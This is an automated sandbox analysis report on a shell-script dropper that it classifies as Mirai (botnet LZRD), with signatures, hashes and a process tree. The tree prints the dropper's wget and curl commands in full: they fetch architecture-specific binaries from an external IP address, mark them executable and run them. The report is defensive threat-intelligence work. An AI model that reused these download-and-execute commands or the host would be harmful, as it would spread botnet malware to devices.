Analysis

  • max time kernel
    149s
  • max time network
    139s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    18-02-2025 04:12

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    32774e26d02b3c1b8e5c9bf8b5992be0

  • SHA1

    ad7e3cdf5913a6397e51fc0570e99e3f2b5cd2c6

  • SHA256

    84169b3c5a219018f397eceb2023846b9f47f0931c447422fc09396a79f40535

  • SHA512

    e00b5a106b8c6529679e10323802c998316e4e6240659a239b7680344ee860e457d8d3274de7d88ee4afb14b6b465651d8944b8bb8ab9c805ad74111c007f0ba

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 56 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:710
    • /usr/bin/wget
      wget http://196.251.87.222/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:713
    • /usr/bin/curl
      curl -O http://196.251.87.222/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:737
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:739
      • /bin/chmod
        chmod +x boatnet.x86 ohshit.sh systemd-private-c9427e9946d644ce929081cb6c4047ec-systemd-timedated.service-zIrMUz WTF
        2⤵
        • File and Directory Permissions Modification
        PID:740
      • /tmp/WTF
        ./WTF
        2⤵
          PID:741
        • /usr/bin/wget
          wget http://196.251.87.222/hiddenbin/boatnet.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:743
        • /usr/bin/curl
          curl -O http://196.251.87.222/hiddenbin/boatnet.mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:744
        • /bin/cat
          cat boatnet.mips
          2⤵
          • System Network Configuration Discovery
          PID:745
        • /bin/chmod
          chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-c9427e9946d644ce929081cb6c4047ec-systemd-timedated.service-zIrMUz WTF
          2⤵
          • File and Directory Permissions Modification
          PID:746
        • /tmp/WTF
          ./WTF
          2⤵
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:747
        • /usr/bin/wget
          wget http://196.251.87.222/hiddenbin/boatnet.arc
          2⤵
          • Writes file to tmp directory
          PID:751
        • /usr/bin/curl
          curl -O http://196.251.87.222/hiddenbin/boatnet.arc
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:752
        • /bin/cat
          cat boatnet.arc
          2⤵
            PID:753
          • /bin/chmod
            chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-c9427e9946d644ce929081cb6c4047ec-systemd-timedated.service-zIrMUz WTF
            2⤵
            • File and Directory Permissions Modification
            PID:754
          • /tmp/WTF
            ./WTF
            2⤵
              PID:755
            • /usr/bin/wget
              wget http://196.251.87.222/hiddenbin/boatnet.i468
              2⤵
                PID:757
              • /usr/bin/curl
                curl -O http://196.251.87.222/hiddenbin/boatnet.i468
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:762
              • /bin/cat
                cat boatnet.i468
                2⤵
                  PID:770
                • /bin/chmod
                  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-c9427e9946d644ce929081cb6c4047ec-systemd-timedated.service-zIrMUz WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:772
                • /tmp/WTF
                  ./WTF
                  2⤵
                    PID:773
                  • /usr/bin/wget
                    wget http://196.251.87.222/hiddenbin/boatnet.i686
                    2⤵
                      PID:775
                    • /usr/bin/curl
                      curl -O http://196.251.87.222/hiddenbin/boatnet.i686
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:781
                    • /bin/cat
                      cat boatnet.i686
                      2⤵
                        PID:789
                      • /bin/chmod
                        chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-c9427e9946d644ce929081cb6c4047ec-systemd-timedated.service-zIrMUz WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:791
                      • /tmp/WTF
                        ./WTF
                        2⤵
                          PID:792
                        • /usr/bin/wget
                          wget http://196.251.87.222/hiddenbin/boatnet.x86_64
                          2⤵
                            PID:793
                          • /usr/bin/curl
                            curl -O http://196.251.87.222/hiddenbin/boatnet.x86_64
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:800
                          • /bin/cat
                            cat boatnet.x86_64
                            2⤵
                              PID:810
                            • /bin/chmod
                              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-c9427e9946d644ce929081cb6c4047ec-systemd-timedated.service-zIrMUz WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:812
                            • /tmp/WTF
                              ./WTF
                              2⤵
                                PID:814
                              • /usr/bin/wget
                                wget http://196.251.87.222/hiddenbin/boatnet.mpsl
                                2⤵
                                • Writes file to tmp directory
                                PID:815
                              • /usr/bin/curl
                                curl -O http://196.251.87.222/hiddenbin/boatnet.mpsl
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:818
                              • /bin/cat
                                cat boatnet.mpsl
                                2⤵
                                  PID:819
                                • /bin/chmod
                                  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-c9427e9946d644ce929081cb6c4047ec-systemd-timedated.service-zIrMUz WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:820
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                    PID:821
                                  • /usr/bin/wget
                                    wget http://196.251.87.222/hiddenbin/boatnet.arm
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:823
                                  • /usr/bin/curl
                                    curl -O http://196.251.87.222/hiddenbin/boatnet.arm
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:824
                                  • /bin/cat
                                    cat boatnet.arm
                                    2⤵
                                      PID:825
                                    • /bin/chmod
                                      chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-c9427e9946d644ce929081cb6c4047ec-systemd-timedated.service-zIrMUz WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:826
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                        PID:827
                                      • /usr/bin/wget
                                        wget http://196.251.87.222/hiddenbin/boatnet.arm5
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:829
                                      • /usr/bin/curl
                                        curl -O http://196.251.87.222/hiddenbin/boatnet.arm5
                                        2⤵
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:830
                                      • /bin/cat
                                        cat boatnet.arm5
                                        2⤵
                                          PID:831
                                        • /bin/chmod
                                          chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-c9427e9946d644ce929081cb6c4047ec-systemd-timedated.service-zIrMUz WTF
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:832
                                        • /tmp/WTF
                                          ./WTF
                                          2⤵
                                            PID:833
                                          • /usr/bin/wget
                                            wget http://196.251.87.222/hiddenbin/boatnet.arm6
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:835
                                          • /usr/bin/curl
                                            curl -O http://196.251.87.222/hiddenbin/boatnet.arm6
                                            2⤵
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:846
                                          • /bin/cat
                                            cat boatnet.arm6
                                            2⤵
                                              PID:855
                                            • /bin/chmod
                                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:857
                                            • /tmp/WTF
                                              ./WTF
                                              2⤵
                                                PID:858
                                              • /usr/bin/wget
                                                wget http://196.251.87.222/hiddenbin/boatnet.arm7
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:860
                                              • /usr/bin/curl
                                                curl -O http://196.251.87.222/hiddenbin/boatnet.arm7
                                                2⤵
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:869
                                              • /bin/cat
                                                cat boatnet.arm7
                                                2⤵
                                                  PID:876
                                                • /bin/chmod
                                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:877
                                                • /tmp/WTF
                                                  ./WTF
                                                  2⤵
                                                    PID:878
                                                  • /usr/bin/wget
                                                    wget http://196.251.87.222/hiddenbin/boatnet.ppc
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:880
                                                  • /usr/bin/curl
                                                    curl -O http://196.251.87.222/hiddenbin/boatnet.ppc
                                                    2⤵
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:881
                                                  • /bin/cat
                                                    cat boatnet.ppc
                                                    2⤵
                                                      PID:882
                                                    • /bin/chmod
                                                      chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:883
                                                    • /tmp/WTF
                                                      ./WTF
                                                      2⤵
                                                        PID:884
                                                      • /usr/bin/wget
                                                        wget http://196.251.87.222/hiddenbin/boatnet.spc
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:886
                                                      • /usr/bin/curl
                                                        curl -O http://196.251.87.222/hiddenbin/boatnet.spc
                                                        2⤵
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:887
                                                      • /bin/cat
                                                        cat boatnet.spc
                                                        2⤵
                                                          PID:888
                                                        • /bin/chmod
                                                          chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:889
                                                        • /tmp/WTF
                                                          ./WTF
                                                          2⤵
                                                            PID:890
                                                          • /usr/bin/wget
                                                            wget http://196.251.87.222/hiddenbin/boatnet.m68k
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:892
                                                          • /usr/bin/curl
                                                            curl -O http://196.251.87.222/hiddenbin/boatnet.m68k
                                                            2⤵
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:893
                                                          • /bin/cat
                                                            cat boatnet.m68k
                                                            2⤵
                                                              PID:894
                                                            • /bin/chmod
                                                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:895
                                                            • /tmp/WTF
                                                              ./WTF
                                                              2⤵
                                                                PID:896
                                                              • /usr/bin/wget
                                                                wget http://196.251.87.222/hiddenbin/boatnet.sh4
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:898
                                                              • /usr/bin/curl
                                                                curl -O http://196.251.87.222/hiddenbin/boatnet.sh4
                                                                2⤵
                                                                • Reads runtime system information
                                                                • Writes file to tmp directory
                                                                PID:899
                                                              • /bin/cat
                                                                cat boatnet.sh4
                                                                2⤵
                                                                  PID:900
                                                                • /bin/chmod
                                                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:901
                                                                • /tmp/WTF
                                                                  ./WTF
                                                                  2⤵
                                                                    PID:902

                                                                Network

                                                                MITRE ATT&CK Enterprise v15

                                                                Replay Monitor

                                                                Loading Replay Monitor...

                                                                Downloads

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  23KB

                                                                  MD5

                                                                  cee6585e60fc85044c942cc41fc69eec

                                                                  SHA1

                                                                  b2901dc34ac518fe5430af9ce827022846b95577

                                                                  SHA256

                                                                  0445d12106a314074d4b96870742787452528196da68b67def54cc1d97a228cb

                                                                  SHA512

                                                                  dc9d804e7dd048ba5305ba10758093f63fab453bac41b5a331ec157309c4e6feb8018f1fa82ad4f5167a3cc8063de3548b0e39c53802ab9aaf0325e82fc84cb8

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  105KB

                                                                  MD5

                                                                  4c125873f27e37b37d7c12452d507215

                                                                  SHA1

                                                                  e08f8ab877b6abd87bfbee80347f0bbdba93bed0

                                                                  SHA256

                                                                  35e1279abdbf2bee230f3aeb00f8412136da9638cda2c2908e056a6072c3e69c

                                                                  SHA512

                                                                  20017ce619089512f4ef09ec2e73ca1a322b797f9751b6829a515a4cb1b4dde6799197dd70bc01805cb333cbf944adb489eb0203d78a7e0080d66d2aa3041ca6

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  220B

                                                                  MD5

                                                                  f1c24d9fa40a047ae22d2d3ae7dfeac9

                                                                  SHA1

                                                                  750274b02d5f5b00026a4f55b020f4285c693533

                                                                  SHA256

                                                                  219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                                                  SHA512

                                                                  36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  220B

                                                                  MD5

                                                                  a8f502a6fb3b7b940e922c951d9e493a

                                                                  SHA1

                                                                  fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                                                  SHA256

                                                                  748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                                                  SHA512

                                                                  e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  57KB

                                                                  MD5

                                                                  a1870420c700ebc5d888818a29c802de

                                                                  SHA1

                                                                  4db6780a1e145360a2b1eb4bfd86651f9b6df5b9

                                                                  SHA256

                                                                  ea80cc6170eaada0e2fdb09a2c509a1b5646371e420066e88f8515974c922b99

                                                                  SHA512

                                                                  20c586583f6cacb05c49ee0e5691d499797f4e78203f77be0fc9ee784e74a4e70754ee505e3614b6b04ebec6cb683e48228925892bd45e002779d425b979582f

                                                                • /tmp/boatnet.x86

                                                                  Filesize

                                                                  20KB

                                                                  MD5

                                                                  96f3a4c996750d9f2254cc55883c2ee4

                                                                  SHA1

                                                                  985d2163502ffe96c88c2c578cb9205c6140947a

                                                                  SHA256

                                                                  984e3565cdf897a62523a6776c16835634be7312a415d8c36c56ce14545539d7

                                                                  SHA512

                                                                  6b29d2fa53cc5a912372da02c52e69fd440494cf84054adaa45d8a2d5600e514e9b0ce5a56f417de7df698de3e52e2b2800561be15b6e6e7da67bd6f5d00a7e1